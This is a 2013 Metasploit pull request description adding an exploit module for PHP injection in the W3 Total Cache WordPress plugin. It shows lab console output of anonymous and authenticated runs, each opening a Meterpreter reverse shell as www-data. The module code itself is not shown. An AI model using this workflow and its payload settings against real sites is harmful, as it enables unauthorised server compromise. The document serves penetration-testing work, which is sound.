rapid7/metasploit-framework — pull request #1761 by jvazquez-r7 (2013-04-24 20:33:39+00:00)
Title: Add module for Wordpress Total Cache PHP Injection

Tested with Wordpress 3.5 and W3 Total Cache 0.9.2.3

* Anonymous comment

```
msf exploit(php_wordpress_total_cache) > show options

Module options (exploit/unix/webapp/php_wordpress_total_cache):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with (anonymous if password not provided)
POSTID 28 yes The post ID where publish the comment
Proxies no Use a proxy chain
RHOST 192.168.172.173 yes The target address
RPORT 80 yes The target port
TARGETURI /wordpress/ yes The base path to the wordpress application
USERNAME no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wordpress 3.5

msf exploit(php_wordpress_total_cache) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.173:80 - Trying unauthenticated exploitation...
[*] 192.168.172.173:80 - Injecting the PHP Code throw a comment...
[*] 192.168.172.173:80 - Executing the payload...
[*] Sending stage (39217 bytes) to 192.168.172.173
[*] Meterpreter session 10 opened (192.168.172.1:4444 -> 192.168.172.173:34668) at 2013-04-24 15:33:28 -0500

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter >

```

* Authenticated comment

```
msf exploit(php_wordpress_total_cache) > show options

Module options (exploit/unix/webapp/php_wordpress_total_cache):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD test1234 no The password to authenticate with (anonymous if password not provided)
POSTID 25 yes The post ID where publish the comment
Proxies no Use a proxy chain
RHOST 192.168.172.173 yes The target address
RPORT 80 yes The target port
TARGETURI /wordpress/ yes The base path to the wordpress application
USERNAME test no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wordpress 3.5

msf exploit(php_wordpress_total_cache) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.173:80 - Trying to login...
[*] 192.168.172.173:80 - Injecting the PHP Code throw a comment...
[*] 192.168.172.173:80 - Executing the payload...
[*] Sending stage (39217 bytes) to 192.168.172.173
[*] Meterpreter session 9 opened (192.168.172.1:4444 -> 192.168.172.173:34499) at 2013-04-24 15:32:05 -0500

^C[-] Exploit failed: Interrupt

meterpreter > sessions -i 9
[-] Unknown command: sessions.
meterpreter > getuid
Server username: www-data (33)
meterpreter >

```